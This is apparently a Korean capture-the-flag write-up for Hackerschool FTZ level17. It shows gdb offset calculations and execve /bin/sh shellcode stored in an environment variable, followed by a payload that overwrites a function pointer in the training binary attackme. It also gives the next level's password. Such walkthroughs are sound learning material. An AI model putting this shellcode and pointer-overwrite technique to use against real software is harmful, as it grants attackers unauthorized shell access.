본문 바로가기

[Pwnable] 해커스쿨 FTZ

[해커스쿨 FTZ] level17

이번엔 level17이다.

로그인을 하고, 파일 목록을 확인하고, 힌트를 확인한다.

 

코드를 분석해보자.

level16 문제와 유사하지만 살짝 다르다.

 

이번엔 따로 쉘코드를 실행시키는 함수가 없기 때문에 환경변수를 이용해 쉘코드를 등록해보자.

그럼 해야 할 것은 ⓐbuf ~ *call 사이의 거리를 알아내고 ⓑ쉘코드를 환경변수에 등록해 그 주소를 알아낸 뒤 ⓒ*call 위치를 알아낸 쉘코드 주소로 덮어씌우면 될 것이다.

 

gdb를 이용해 분석해보자.

main+6 에서 *call ~ ret 사이의 거리를 알 수 있다.

=> 16 + 4 = 20

main+24에서 buf ~ ret 사이의 거리를 알 수 있다.

=> 56 + 4 = 60

buf ~ *call 사이의 거리 = 60 - 20 = 40

 

쉘코드를 환경변수에 넣어 주소를 알아내보자. 아래의 명령어들을 차례로 입력한다.

 

1. $export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


2. $echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c


3. $gcc getenv.c -o getenv


4. $./getenv

 

알아 낸 주소는 0xbffffc8b 이다.

 

위의 내용들을 바탕으로 *call 위치에 0xbffffc8b 를 덮어씌우는 페이로드를 작성해보자.

 

(python -c 'print "\x90"*40+"\x8b\xfc\xff\xbf"'; cat) | ./attackme

 

이제 본 디렉토리에서 위의 페이로드를 실행하면?

짜잔

 

level18 암호 : why did you do it

'[Pwnable] 해커스쿨 FTZ' 카테고리의 다른 글

[해커스쿨 FTZ] level19  (0) 2020.03.12
[해커스쿨 FTZ] level18  (0) 2020.03.12
[해커스쿨 FTZ] level16  (0) 2020.03.12
[해커스쿨 FTZ] level15  (0) 2020.03.12
[해커스쿨 FTZ] level14  (0) 2020.03.12